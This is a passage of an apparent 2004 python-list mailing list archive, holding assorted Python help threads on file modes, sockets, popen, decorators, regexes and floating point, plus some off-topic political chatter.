From jmfbahciv at aol.com  Wed Sep 15 06:49:58 2004
From: jmfbahciv at aol.com (jmfbahciv at aol.com)
Date: Wed, 15 Sep 04 10:49:58 GMT
Subject: Xah Lee's Unixism
References: <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com>
	<4141c830$0$65574$a1866201@newsreader.visi.com>
	<chsu8b$ujb$1@grandcanyon.binc.net>
	<Eeo0d.18563$Qx2.9439@newssvr29.news.prodigy.com>
	<ci4gs0$23p$1@grandcanyon.binc.net> <m3pt4qc57f.fsf@europa.pienet>
	<4146dc2f$0$2665$61fed72c@news.rcn.com> <m3sm9lvwnv.fsf@europa.pienet>
	<87brg96kfe.fsf@p4.internal>
Message-ID: <414831ab$0$2651$61fed72c@news.rcn.com>

In article <87brg96kfe.fsf at p4.internal>,
   Bulent Murtezaoglu <bm at acm.org> wrote:
>
>Soo, another lisper cannot resist the temptation.  
>
>>>>>> "GM" == Greg Menke <gregm-news at toadmail.com> writes:
>[...]
>    GM> They're pretty convinced of that already- after all Dubya
>    GM> called this a crusade from day 1.  [...]
>
>In all fairness I think that was plain dumbness in use of langauge.
>He didn't mean a crusade in the historic sense.  Even if he thinks it,
>that was nothing more than an unfortunate choice of words.  I am 99%
>sure of this as I vividly remeber my jaw dropping when I saw him say
>it in the window to the left of the one I was reading this very
>newsgroup in.  The men in that family are not good public speakers 
>and they seem to have trouble expressing themselves to reporters.  
>I see no malice in that.

This style of language had more to do with born-again Christians
dropping into preacher-speak when talking to more than zero
people.

<snip>

/BAH

Subtract a hundred and four for e-mail.


From tjreedy at udel.edu  Fri Sep 24 14:48:07 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Fri, 24 Sep 2004 14:48:07 -0400
Subject: file read, binary or text mode
References: <41540121$0$3891$4d4ebb8e@news.nl.uu.net>
	<Xns956E4CDA892D7askariaddressNonVali@207.35.177.135>
Message-ID: <cj1q5b$q60$1@sea.gmane.org>


"Askari" <askari at addressNonValide.com> wrote in message 
news:Xns956E4CDA892D7askariaddressNonVali at 207.35.177.135...
> "Guyon Mor?e" <gumuz at NO_looze_SPAM.net> wrote in
> news:41540121$0$3891$4d4ebb8e at news.nl.uu.net:
>
> "rb" and "r" on a text file is the same if your text file have ascii
> caractere (8bit) but it's not the same for Unicode caractere (16 bit).
> Bref, if you sure that your file is ONLY text, use "r",  else, use always
> "rb".  And "r" don't read the control caractere other that "\n" "\t" .. 
> etc

Newbies, ignore this confusion.

On Windows, text mode autoconverts \r\n to \n on input and viceverse on 
output.  I believe that that is all the difference.  Period.

Terry J. Reedy





From cbfalconer at yahoo.com  Mon Sep 20 14:07:50 2004
From: cbfalconer at yahoo.com (CBFalconer)
Date: Mon, 20 Sep 2004 18:07:50 GMT
Subject: Xah Lee's Unixism
References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<4140688e$0$6912$61fed72c@news.rcn.com>
	<flrphc.tlk1.ln@via.reistad.priv.no> <4140A885.90B945AC@yahoo.com>
	<4jkqhc.p7p1.ln@via.reistad.priv.no>
	<1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com>
	<Zdm0d.88398$S55.30393@clgrps12>
	<chsvv6$v15$1@grandcanyon.binc.net> <tqm3c1krcuo.fsf@drizzle.com>
	<r6gek0diq28jqi0ie18hku87r8865lt3p8@4ax.com>
	<tqmhdpwqf8s.fsf@drizzle.com>
	<s0utk01omk8aipn7vclocmdgokfu66bu2g@4ax.com>
Message-ID: <414F156C.7C28AEFB@yahoo.com>

Alan Balmer wrote:
> Patrick Scheible <kkt at drizzle.com> wrote:
> 
... snip ...
>>
>> They have committees, they don't have independent
>> intelligence-gathering ability.
>
> Neither does President Bush - he doesn't have time for all
> those field trips. That's why he gets reports from the various
> intelligence agencies, who also report to the Congressional
> intelligence committees.

Then why does he ignore them, as evidenced by his non-response to
the July report on the future of Iraq, which was kept secret until
a few days ago?

-- 
 "It is not a question of staying the course, but of changing
  the course"                        - John Kerry, 2004-09-20
 "Ask any boat owner the eventual result of continuing the
  present course indefinitely"    - C.B. Falconer, 2004-09-20



From aleaxit at yahoo.com  Mon Sep 20 10:39:18 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 20 Sep 2004 16:39:18 +0200
Subject: strange problem with os.getlogin
References: <4edc17eb.0409200607.49e157b7@posting.google.com>
Message-ID: <1gkf73f.3ahxcb1pqik4pN%aleaxit@yahoo.com>

Michele Simionato <michele.simionato at gmail.com> wrote:

> I am having a strange issue with os.getlogin on Mandrake 10:
> 
> $ python -c "import os; print os.getlogin()"
> Traceback (most recent call last):
>   File "<string>", line 1, in ?
> OSError: [Errno 2] No such file or directory
> 
> On another linux machine (Debian) instead it works as expected.
> For the moment I am using os.popen("whoami").read() which works
> but it is an hack :-( 
> Does anybody have an idea of the source of the problem?

Try running that python -c under strace (with the appropriate flags set
to avoid excessive tracing... you really care about tracing 'open'
syscalls, maybe 'access' or 'readlink'...) to see what getlogin is
trying to open.  On my Mandrake 9.2, it tries /var/run/utmpx, which
fails, then /var/run/utmp, which succeeds.  I don't have a 10.0 handy to
try... (I had installed it on the 'toy machine' but then I installed
ubuntu on top of it recently;-).


Alex


From fuzzyman at gmail.com  Mon Sep  6 02:39:32 2004
From: fuzzyman at gmail.com (Michael Foord)
Date: 5 Sep 2004 23:39:32 -0700
Subject: POST method, CGI and file transfer
References: <mailman.2875.1094324613.5135.python-list@python.org>
Message-ID: <6f402501.0409052239.2c18f9e4@posting.google.com>

"Robert Brewer" <fumanchu at amor.org> wrote in message news:<mailman.2875.1094324613.5135.python-list at python.org>...
> Michael Foord wrote:
> > Another http question.
> > First one is simple - if a POST is made *to* a CGI with file uplaods
> > then you can get a FieldStorage with list values - each entry in the
> > list being a file. Two questions about this :
> > 1) Is this the only situation you'll get list values posted to a CGI ?
> > If you have a list value in your FieldStorage instance can you be sure
> > that it's files ?
> 
> If I understand your question correctly, the answer is no. Regardless of
> whether you use GET or POST, you can submit something like
> "/script.cgi?value=1&value=2&value=3" and expect a list: value = 
> [1, 2,
> 3]. This behavior was around long before file uploads. ;)
> 
> 

Right - thanks Robert.
That answers one of my questions.

Regards,


Fuzzy

http://www.voidspace.org.uk/atlantibots/pythonutils.html

> Robert Brewer
> MIS
> Amor Ministries
> fumanchu at amor.org


From peter at engcorp.com  Thu Sep  9 22:05:26 2004
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 09 Sep 2004 22:05:26 -0400
Subject: newbie sending hex values over UDP socket
In-Reply-To: <e2491a75.0409091744.53fab172@posting.google.com>
References: <e2491a75.0409091744.53fab172@posting.google.com>
Message-ID: <K4OdnavQofl7ltzcRVn-hA@powergate.ca>

Bill Seitz wrote:

> I have to send 3 bytes which he explains as being
>   72 69 30
> 
> Now, what the heck should I really be sending? I know he's giving just
> a simplified representation.
> 
> Am I really looking to send 
>   '726930'
> or 
>   '\x72\x69\x30'

Very likely the latter one.  If not, then your "partner" is
unclear on the concept and needs to learn better how to
explain things like this. :-)

> If I'm aiming for the 2nd format, how do I best generate it? If I'm
> going the other direction, it seems like
>   struct.unpack('sss','\x72\x69\x30')
> works OK

Hmm... the string you give above *is* the raw data... no
conversion with struct.pack or unpack is required.

> Sorry for the silly question... I'm trying not to look like a chump
> (to that partner)

Good strategy, asking here...  I could be wrong, but based
on what you say it really looks like doing sock.send('\x72\x69\x30')
(or perhaps sock.sendto()) is what you need.

Does the "ri0" representation look more like what you are
actually sending?  In other words, which is the more natural
representation of the data?  Whichever it is, it doesn't look
like you realized that *they are exactly the same thing*.  The
'\x72\x69\x30' form is merely an alternate way of telling the
Python compiler that you want it to create a string consisting
of three bytes, which in ASCII can be represented as "ri0".
The socket calls just take strings, which in Python are simply
sequences of bytes, nothing more...

-Peter


From sizelji at insightbb.com  Thu Sep 16 09:19:53 2004
From: sizelji at insightbb.com (Jim Sizelove)
Date: Thu, 16 Sep 2004 13:19:53 GMT
Subject: Rotating lists?
In-Reply-To: <1tjgfwiee2us5$.dlg@thorstenkampe.de>
References: <ciaek6$6l$1@bagan.srce.hr> <1tjgfwiee2us5$.dlg@thorstenkampe.de>
Message-ID: <Zpg2d.54573$MQ5.46683@attbi_s52>

Thorsten Kampe wrote:
> 
> def rotate(seq,
>            offset):
>     """ shift seq to the left by offset, with the elements shifted off the
>     beginning inserted back at the end """
>     return seq[offset:] + seq[:offset]


You can also use a generator function:

def rotator(seq, offset=1):
     while True:
         yield seq
         seq = seq[offset:] + seq[:offset]

T = rotator(range(5))
T.next()
[0, 1, 2, 3, 4]
T.next()
[1, 2, 3, 4, 0]
T.next()
[2, 3, 4, 0, 1]

You can rotate to the right using a negative offset:
L = rotator( range(5), -1 )
L.next()
[0, 1, 2, 3, 4]
L.next()
[4, 0, 1, 2, 3]
L.next()
[3, 4, 0, 1, 2]


From toc-01-nospam at blikroer.dk  Fri Sep 24 16:48:32 2004
From: toc-01-nospam at blikroer.dk (Tomas Christiansen)
Date: Fri, 24 Sep 2004 22:48:32 +0200
Subject: Global Interpreter Lock
Message-ID: <cj216l$1m0r$1@news.cybercity.dk>

Excaclty HOW global is the global interpreter lock?

I know that it isn't global in the meaning "the hole world" (imagine that!),
but is it global only to each task/job/python interpreter instance (running
one or more threads) or is it global to the user or the computer or...?

In other words, what is the impact of the global interpreter lock if...
 1. If user A has two different python programs running?
 2. If user A is running a python program and user B is running one as well?
 3. Does the OS (Linux or Windows) make a difference to the impact of the
global interpreter lock?

-------
Tomas



From frithiof.jensen at die_spammer_die.ericsson.com  Wed Sep 29 07:07:28 2004
From: frithiof.jensen at die_spammer_die.ericsson.com (Frithiof Andreas Jensen)
Date: Wed, 29 Sep 2004 13:07:28 +0200
Subject: Multiple Interpreters In a Single Thread
References: <efd29696.0409230652.8c6f748@posting.google.com>
Message-ID: <cje4rg$fjt$1@newstree.wise.edt.ericsson.se>


"bmatt" <bsmatt at gmail.com> wrote in message
news:efd29696.0409230652.8c6f748 at posting.google.com...
> I am trying to support multiple interpreter instances within a single
> main application thread.

I think it sounds tricky and doomed to endless debugging - given that one
does not really have full control over the interpreter, not many people "go
there" and therefore there may lurk undocumented implementation & machine
detail that change suddently ...

> Any information would be appreciated.

I *guess* that what you want to do is to be able to attach/detach
functionality to an application so that 'the user' can build/customise his
own custom tool from a set of available building-blocks and some runtime
configuration tool?

If you base your framework on Pyro and design a protocol for registration,
location and inter-connection of Services, I think your life might be
simpler; With Pyro your independent Python Thread will be in separate
applications, but the Pyro interface makes all objects appear local to the
application using them. I like it.

http://pyro.sourceforge.net/




From bokr at oz.net  Mon Sep 27 16:56:04 2004
From: bokr at oz.net (Bengt Richter)
Date: 27 Sep 2004 20:56:04 GMT
Subject: Metaclass with name overloading.
References: <tyfekkoeyk2.fsf@pcepsft001.cern.ch> <3c13hh0e.fsf@python.net>
	<1gkscau.19ue35c1sy5t7mN%aleaxit@yahoo.com>
Message-ID: <cj9up4$g88$0$216.39.172.122@theriver.com>

On Mon, 27 Sep 2004 19:11:14 +0200, aleaxit at yahoo.com (Alex Martelli) wrote:

>Thomas Heller <theller at python.net> wrote:
>   ...
>> It won't work for ordinary attributes, but for overloading methods you
>> should be able to play some tricks with decorators and sys._getframe().
>
>Great idea... love it!!!  To clarify it a bit for people who may not be
>as familiar with internals as Mr Heller...: a decorator 'sees' the
>method it's decorating "at once", so it doesn't matter if that method's
>name later gets trampled upon... as long as the decorator can stash the
>original away somewhere, and the frame in which the class body is
>executing is just the right 'somewhere'.
>
>A code snippet may be clearer than words...:
>
>import sys, itertools
>
>_ignore_method = object()
>
>def overloaded(f):
>    d = sys._getframe(1).f_locals
>    n = '__overloaded__%s__%%d' % f.func_name
>    for i in itertools.count():
>        nx = n % i
>        if nx in d: continue
>        d[nx] = f
>        break
>    return _ignore_method
>
>class blop:
>    @ overloaded
>    def f(self): return 'first f'
>    @ overloaded
>    def f(self): return 'second f'
>
>print blop.__dict__
>
>
>so, class blop doesn't really have an 'f' (it does have it in the
>__dict__, but it's a dummy '_ignore_method' entry with a suitable custom
>metaclass would easily prune!-) but has __overloaded__f__0 and
>__overloaded__f__1 methods (which, again, a suitable custom metaclass
>could do whatever wonders with!-).
>
>For overload purposes, you might have the decorator actually take as
>arguments some _types_ and record them so that the metaclass can arrange
>for the dispatching based on actual-argument types...
>
>If you bletch at having to decorate each overloaded version with
>'@overloaded', consider C# basically requires that "just BECAUSE",
>without even having a good excuse such as "we need to do it that way due
>to Python's semantics"...;-)
>
If there were a way to make a local bare name access work like a property
or other descriptor, by designating such names suitably, then def f...
could trigger the setter of an f property and that could do whatever.

It might be interesting for a function closure variables also, but here
we are talking about class bodies. Here is a straw man:

    class blop:
        localdesc:
            f = property(fget, fset)
        def f(self): return 'first f'
        def f(self): return 'second f'

This effectively considers the local namespace as the attribute name space
of _something_, presumably an internal instance of some synthesized Localspace class,
let's say localspace = LocalspaceType()() -- IOW a fresh class as well as its instance,
so as to cut off base class searching and not to have surprising sharing.
Optimization is for later ;-)

The localdesc suite would cause assignment to be via type(localspace).__dict__.__setitem__
whereas normal local names would be evaluated by get/setattr(localspace, barename) and
thus trigger descriptors if present. Note that all bindings including from
def and class as well as ordinary variables could be intercepted by descriptors.

sys._getframe(level).f_locals would presumably be a special proxy object instead of a dict
when there is a localdesc: suite in the body, so that it could decide whether names
are descriptors or ordinary.  Otherwise it could remain the usual dict and not get
a performance hit, I suppose.

Regards,
Bengt Richter


From danperl at rogers.com  Wed Sep 29 10:21:19 2004
From: danperl at rogers.com (Dan Perl)
Date: Wed, 29 Sep 2004 10:21:19 -0400
Subject: Program that can find a find a file for you ?
References: <415a7f87$0$13730$ba624c82@nntp03.dk.telia.net>
	<pan.2004.09.29.13.18.28.288793@thomas-guettler.de>
	<415abff2$0$13728$ba624c82@nntp03.dk.telia.net>
Message-ID: <s4mdnVquzMR5WcfcRVn-tg@rogers.com>

You didn't almost do it, you are still very far from it.  The code you've 
written so far is full of mistakes and I'm really not sure even what you are 
trying to do.

Instead of writing the whole program in one shot, try to write just 
something very small, try it, make it work and then add one more small 
thing.  For instance, try to run a script with only the first 5 lines that 
you wrote and you will find a problem already.  Fix that and then add the 
function with only its first statement.  Invoke the function and you will 
find another problem.  Fix that.

And so on.

I'm curious though.  Is this maybe an assignment for a course that you are 
taking?

Dan

"Peter....." <helten0007 at yahoo.com> wrote in message 
news:415abff2$0$13728$ba624c82 at nntp03.dk.telia.net...
> Hi again all.
> I allmost did it, just need the line to run the program now, any ideas, my 
> head hurts, cant think anymore..... Thanks for your help
>
> import sys
> import os.path
> import os.dir
> a = sys.argv[2]
> b = sys.argv[3]
>
> def func (bib, end):
>   c = os.path.dirlist(bib)
>
>   for x in c:
>   d = os.dir.split(x)
>   if [1] = end
>   print (bib, end)
>
> if __name__=="__main__":
>
>
>
>
>
> "Thomas Guettler" <guettli at thomas-guettler.de> wrote in message 
> news:pan.2004.09.29.13.18.28.288793 at thomas-guettler.de...
>> Am Wed, 29 Sep 2004 11:25:39 +0200 schrieb Peter Hansen:
>>
>>> Greetings.
>>>
>>> Im trying to write a program that can be run from the command line.
>>> If I want to search for example after a file with the ending .pdf, I 
>>> should
>>> be able to write in the command line:
>>> python  name of my program / the libary to search and what kind of file 
>>> it
>>> is example a .pdf file
>>> So if my program name was test.py and the library name was library1 and 
>>> the
>>> test type i wanted to find was, a .pdf file
>>> I should write python test.py /library1 .pdf
>>
>> Hi,
>>
>> This is something the "find" command does in a unix environment.
>>
>> Here is my solution:
>>
>> You could use this:
>> find.py your_path 'library1.*\.pdf$'
>>
>> #!/usr/bin/env python
>> # -*- coding: iso-8859-1 -*-
>>
>>
>> # Python Imports
>> import os
>> import re
>> import sys
>>
>> def usage():
>>    print """Usage: %s path regex
>> Print all files or directories with match the regex.
>>
>> See this URL for the syntax of the regular expressions
>> http://docs.python.org/lib/re-syntax.html
>>
>>    """ % (os.path.basename(sys.argv[0]))
>>
>> def visit(regex, dirname, names):
>>    for name in names:
>>        p=os.path.join(dirname, name)
>>        if regex.search(p):
>>            print p
>> def main():
>>    if len(sys.argv)!=3:
>>        usage()
>>        sys.exit(1)
>>    path=sys.argv[1]
>>    regex=sys.argv[2]
>>    os.chdir(path)
>>    regex=re.compile(regex)
>>    os.path.walk(".", visit, regex)
>>
>> if __name__=="__main__":
>>    main()
>>
>
> 




From jarrodhroberson at yahoo.com  Sun Sep 19 22:52:12 2004
From: jarrodhroberson at yahoo.com (Y2KYZFR1)
Date: 19 Sep 2004 19:52:12 -0700
Subject: Python Webstart ?
References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au>
	<mailman.3460.1095435595.5135.python-list@python.org>
Message-ID: <c718a6cf.0409191852.15121830@posting.google.com>

Carlos Ribeiro <carribeiro at gmail.com> wrote in message news:<mailman.3460.1095435595.5135.python-list at python.org>...
> On Fri, 17 Sep 2004 21:43:04 +1000, huy <nytimes at swiftdsl.com.au> wrote:
> > Hi,
> > 
> > Just wondering if there were any plans (or existing projects) similar to
> > Java webstart for Python. I think this would be a boon for python. I
> > would love to start my new project using Python but the deployment (and
> > long term upgrading) factor is a major itch which pyfreeze and py2exe
> > just doesn't scratch properly.
> 
> I sincerely don't understand why a Python Webstart would be more
> useful than pyfreeze and py2exe.

then you really don't understand what WebStart does.


From steven.bethard at gmail.com  Mon Sep 13 03:40:07 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Mon, 13 Sep 2004 07:40:07 +0000 (UTC)
Subject: unittest.TestCase, lambda and __getitem__
References: <mailman.3214.1095049956.5135.python-list@python.org>
	<1gk1nqx.1ul836r1k96yuhN%aleaxit@yahoo.com>
Message-ID: <loom.20040913T092152-831@post.gmane.org>

Alex Martelli <aleaxit <at> yahoo.com> writes:
> Steven Bethard <steven.bethard <at> gmail.com> wrote:
> > Or is there a better/clearer way of handling this kind of test case?
> 
> Sure:
> 
>     def wrong_indexing(): return obj[index]
>     self.assertRaises(ValueError, wrong_indexing)

Yeah, I guess I was just begging someone to give me that response. ;)

First, I have to mention that I'd probably have to write your code as

def wrong_indexing():
    return obj[index]
self.assertRaises(ValueError, wrong_indexing)

because GvR has also commented that he wishes he hadn't allowed the one-
line "if: statement" syntax, so by analogy, I assume he'd also rather no one-
line def statement.  So I'm stuck replacing a single line with three...  I was 
hoping to avoid this...  (Of course, if I have a bunch of obj[index] type 
calls, I can average the additional line cost over all of these by making the 
function suitably general.)

Regardless, your analogy between obj[index] and an arbitrary mathematical 
expression was helpful.  It clarifies that, what I really want is an anonymous 
code block...

Hmm...  Well, if this is really the only option, I'll probably leave these 
lambdas until I absolutely have to remove them...

Steve



From lists at neror.com  Wed Sep  1 10:43:09 2004
From: lists at neror.com (Nathan Eror)
Date: Wed, 1 Sep 2004 09:43:09 -0500
Subject: GUI Designer
In-Reply-To: <b16e4ef7.0409010432.5fc2b8b1@posting.google.com>
References: <wU0Zc.9845$7i2.529166@news20.bellglobal.com>
	<b16e4ef7.0409010432.5fc2b8b1@posting.google.com>
Message-ID: <3E2D0C04-FC25-11D8-BFBF-0003935AEAAE@neror.com>

Or Boa Constructor if you're interested in wxPython
http://boa-constructor.sourceforge.net/

On Sep 1, 2004, at 7:32 AM, Stephen Ferg wrote:

> Look at PythonCard
> http://pythoncard.sourceforge.net/
> -- 
> http://mail.python.org/mailman/listinfo/python-list
>



From donn at u.washington.edu  Wed Sep 29 18:22:35 2004
From: donn at u.washington.edu (Donn Cave)
Date: Wed, 29 Sep 2004 15:22:35 -0700
Subject: Avoiding shell metacharacters in os.popen
References: <slrncllk2p.m4f.nick@irishsea.home.craig-wood.com>
	<AIOdnUpr9ZfUdcfcRVn-ug@giganews.com>
	<slrnclm1vh.oif.nick@irishsea.home.craig-wood.com>
Message-ID: <donn-CB261B.15223529092004@gnus01.u.washington.edu>

In article <slrnclm1vh.oif.nick at irishsea.home.craig-wood.com>,
 Nick Craig-Wood <nick at craig-wood.com> wrote:
...
> What my post was about was avoiding the shell completely.  If you use
> os.system(string) then you go via the shell.  However if you use
> os.spawnl(mode, file, *args) then it doesn't go anywhere near the
> shell.  As I pointed out in my post there isn't an equivalent for
> os.popen* which doesn't go via the shell (except for undocumented
> os.popen2).

Well, it sounded to me like the real problem is that Microsoft
Windows doesn't support any functional equivalent to spawnv
for pipes.  I don't know if that's true or not, I'm just
taking it from you that os.popen2 doesn't support a list of
parameters [1] on Microsoft Windows platforms, and inferring
that it doesn't because it can't - there isn't any specific
function that does it, and you can't just roll your own out
of pipe/fork/execve like you can on UNIX, as in fact popen2 does.

If that's really a question and not a well known fact, you
might pose it again  with a subject line that would attract
more attention from Microsoft Windows developers, since
only they would know.  The attempt to cast it as a general
Python problem could be counterproductive, if it means the
people who read about this problem tend to be those who
don't really suffer from it.

   Donn Cave, donn at u.washington.edu


From timr at probo.com  Sun Sep 26 02:10:56 2004
From: timr at probo.com (Tim Roberts)
Date: Sat, 25 Sep 2004 23:10:56 -0700
Subject: floating point glitch
References: <415295E6.9040602@ericsson.com>
Message-ID: <l5ncl0horoifsmbadp6pu3sgje8ca2srf3@4ax.com>

David O'Farrell <David.OFarrell at ericsson.com> wrote:
>
>Is this only on solaris ?

Every IEEE754 processor, every language.

>Python 2.3.3 (#1, Mar 19 2004, 16:18:33)
>[GCC 2.95.2 19991024 (release)] on sunos5
>Type "help", "copyright", "credits" or "license" for more information.
> >>> a=[66.6, 333, 333, 1, 1234.5]
> >>> print a.count(333), a.count(66.6), a.count('x')
>2 1 0
> >>> a.append(333)
> >>> print a
>[66.599999999999994, 333, 333, 1, 1234.5, 333]

This is a FAQ.  The short answer is that 66.6 cannot be represented exactly
in binary.  It is an infinitely repeating fraction.  (1234.5 is not, which
is why the same thing didn't happen to it.)

When you use print, it calls repr() to get the string representation.  repr
tells you the exact value, as close as possible.  That value is as close as
you can get to 66.6 using a 64-bit IEEE754 float.

str() lies to you to make you happy:

>>> str(a[0])
66.6
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.


From roman.yakovenko at actimize.com  Tue Sep  7 00:42:35 2004
From: roman.yakovenko at actimize.com (Roman Yakovenko)
Date: Tue, 7 Sep 2004 07:42:35 +0300
Subject: os.popen4 and popen2.popen4 undocumented behavior
Message-ID: <2D89F6C4A80FA547BF5D5B8FDDD04523060CC5@exchange.adrembi.com>

Hi. May be I found bug may be not, but I definitely could not find answer in documentation and GOOGLE.

Environment: Windows XP and  Python 2.3

Description:

I have program that returns negative numbers as errors

int main()
{ return -1; }

>>> import popen2
>>> si, so = os.popen4( r'C:\TEMP\test\Debug\test.exe' )
>>> si.close()
>>> so.close()

Traceback (most recent call last):
  File "<pyshell#15>", line 1, in -toplevel-
    so.close()
IOError: (0, 'Error')
>>> si, so = popen2.popen4( r'C:\TEMP\test\Debug\test.exe' )
>>> si.close()
>>> so.close()

Traceback (most recent call last):
  File "<pyshell#18>", line 1, in -toplevel-
    so.close()
IOError: (0, 'Error')

First of all I don't understand why it makes the difference what is return value
of the process. If main will return non negative number all will work just fine.


Thanks for help.

Roman


From cookedm at physics.mcmaster.ca  Wed Sep  8 17:51:47 2004
From: cookedm at physics.mcmaster.ca (David M. Cooke)
Date: Wed, 08 Sep 2004 17:51:47 -0400
Subject: glossary wiki
In-Reply-To: <mailman.3004.1094613326.5135.python-list@python.org> (Skip
	Montanaro's message of "Tue, 7 Sep 2004 14:08:41 -0500")
References: <mailman.2881.1094337154.5135.python-list@python.org>
	<YXm%c.12429$lP4.940107@news20.bellglobal.com>
	<mailman.3004.1094613326.5135.python-list@python.org>
Message-ID: <qnku0u8l98s.fsf@arbutus.physics.mcmaster.ca>

At some point, Skip Montanaro <skip at pobox.com> wrote:

>     Nicolas> I guess it would be nice to put this glossary on
>     Nicolas> http://www.python.org/moin/.
>
> That's fine with me.  If someone does it let me know and I'll dump mine and
> redirect to the relevant page.
>
> Skip

Done; it's the PythonGlossary page, linked off of the Documentation
page.

(It's very easy when both wikis use MoinMoin :-)

-- 
|>|\/|<
/--------------------------------------------------------------------------\
|David M. Cooke                      http://arbutus.physics.mcmaster.ca/dmc/
|cookedm at physics.mcmaster.ca


From narshe at gmail.com  Tue Sep 21 13:07:29 2004
From: narshe at gmail.com (Josh Close)
Date: Tue, 21 Sep 2004 12:07:29 -0500
Subject: OT: regex to find email
In-Reply-To: <cipmad$upd$1@sea.gmane.org>
References: <4a0cafe204092108038020f72@mail.gmail.com>
	<cipg60$ap1$1@sea.gmane.org>
	<4a0cafe2040921084828f898d8@mail.gmail.com>
	<cipmad$upd$1@sea.gmane.org>
Message-ID: <4a0cafe20409211007452a2481@mail.gmail.com>

On Tue, 21 Sep 2004 18:53:33 +0200, Remy Blank
<remy.blank_asps at pobox.com> wrote:
> Josh Close wrote:
> > Ok, I see how this works.... but now how would I add {3,64} for the id
> > and {3,255} for the domain? I forgot to throw that part in earlier. I
> > believe a valid id is 3-64 chars and domain is 3-255 chars.
> >
> > So basically like this
> >
> > [\w[\w\._-]*]{3,64}@[[\w\._-]{3,255}\.[\w\._-]+]
> >
> > ......I know that won't work, but I'd like to verify that the id is
> > 3-64 chars long, and doesn't start with -._ and the domain is 3-255
> > chars long and doesn't start with -._ but must have a dot and tld's
> > like .com.au need to be accounted for also.
> 
> Let's see. Testing for a 3-64 char id should be easy:
> 
> [a-zA-Z0-9][\w\.-]{2,63}@ ...
> 
> You can't use \w in the first bracket, because you want to exclude
> the underscore.
> 
> About the domain, I can't remember if the total length is limited,
> or if each individual component is. The latter case is easy (say,
> for components with lenghts 3-64):
> 
> ... @([\w-]{3,64}\.)+[\w-]{3,64}
> 
> But I suspect this is not yet what you want. If you want to make
> sure the total length of the domain is 3-255 chars, you'll have
> to extract it after a match and check its length. Extraction could
> be done with a named group:
> 
> ... @(?P<domain>([\w-]{3,64}\.)+[\w-]{3,64})
> 
> Although I'm not sure how nested groups are handled. Combining both
> parts and defining a group for the id as well gives:
> 
> (?P<id>[a-zA-Z0-9][\w\.-]{2,63})@(?P<domain>([\w-]{3,64}\.)+[\w-]{3,64})
> 
> (All on one line, obviously)
> 
> HTH,
> 
> 
> -- Remy
> 

Only problem with this is, -name at domain.tld will be caught as
name at domain.tld. Basically, if there is a -._ before the name, then I
don't want to capture the whole email. So it would be a -._ preceded
by a \s I guess.

Maybe I could do a \s(?![\.\-\_]) before the search you suggested.

-Josh


From steven.bethard at gmail.com  Sat Sep 11 02:11:29 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Sat, 11 Sep 2004 06:11:29 +0000 (UTC)
Subject: java
References: <6712b7e.0409102159.42cd71d4@posting.google.com>
Message-ID: <loom.20040911T080707-981@post.gmane.org>

Demo <demobudda <at> yahoo.com> writes:

> 
> What computer science concepts can I learn from Java and not from Python?

Mainly, things that derive from static typing:
* Method overloading
* Interface declarations (there are ways to simulate this in Python, but the 
effect is not identical)
* Checked exceptions (though I'm not convinced this is really something you 
need to learn)

I'm sure there are more, but these're what jumped into my mind.  Can't say I 
really miss any of them. ;)

Steve



From ptmcg at austin.rr._bogus_.com  Fri Sep 17 09:25:13 2004
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Fri, 17 Sep 2004 13:25:13 GMT
Subject: [Python-Dev] Strawman decision: @decorator won't change
References: <cibkl1$395$07$1@news.t-online.com>
	<E%y2d.3$Gn3.2@fe2.texas.rr.com>
	<15mlk0d63duukvnqtsrb4eguuldqd6ub2g@4ax.com>
Message-ID: <ZAB2d.57$Gn3.42@fe2.texas.rr.com>

"Arthur" <ajsiegel at optonline.com> wrote in message
news:15mlk0d63duukvnqtsrb4eguuldqd6ub2g at 4ax.com...
<snip>
> And were it opened for debate you would run into bizarre arguments in
> its defense.  Like mine.
>
Well, it *is* opened for debate, so knock yourself out.  The more bizarre
the better, I'd say.

> That there a mechanism in Python described by a arbitrary word,
> "decorator" and provoked by an  arbitrary symbol '@'
>
> The symbol *works*,  as a sore thumb and a tacit admission of
> something,
>
Why do STOP signs say STOP?  Why not put an arbitrary @ sign on them, and
tell everyone it means STOP?

Your argument is equally valid for *any* symbol.  Why choose this ugly blot?
This arbitrary symbology is the way of Perl and APL.  I thought one of the
beauties of Python was that it doesn't impose this kind of obtusity on the
developer or maintainer.

> It is defended in this view by its anti-esthetic.
>
Are you a Dada-ist?  Is Python becoming the Dada language?
(http://arthistory.about.com/cs/arthistory10one/a/dada.htm)

> Having to put up with this kind of argument in its defense is perhaps
> a good reason to not re-open the discussion.
>
This sounds like another way of saying "this is a silly argument, and we
would be better off without it."  The point is, just about *all* the
arguments for this symbol or that will from here on *be* silly arguments.

-- Paul
''Suppose someone were to  assert: The gostak distims the  doshes. You do
    not know  what this means;  nor do I.  But if  we assume that  it is
    English, we know  that 'the doshes are distimmed by  the gostak'. We
    know too that  'one distimmer of doshes is a  gostak' . If moreover,
    the 'doshes are galloons', we know that 'some galloons are distimmed
    by the gostak'. And so we may go on, and *so we often do go on.*''
>From "The Meaning of Meaning" by C.K.Ogden and I.A. Richards




From adalke at mindspring.com  Thu Sep 30 17:53:21 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Thu, 30 Sep 2004 21:53:21 GMT
Subject: Reading a text file backwards
In-Reply-To: <cjhqf2$9l1$1@news-int.gatech.edu>
References: <cjhqf2$9l1$1@news-int.gatech.edu>
Message-ID: <lf%6d.3100$Yr.2873@newsread3.news.pas.earthlink.net>

Jay wrote:
> Only, I want to iterate backwards, starting with the last line of the file.
> Can anybody suggest a simple way of doing this? Do I need to jump around
> with myfile.seek() and use myfile.readline() ?

Python Cookbook has a recipe.  Or two.

http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/276149
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/120686

I've not looked at them to judge the quality

Another approach is to read the lines forwards and save
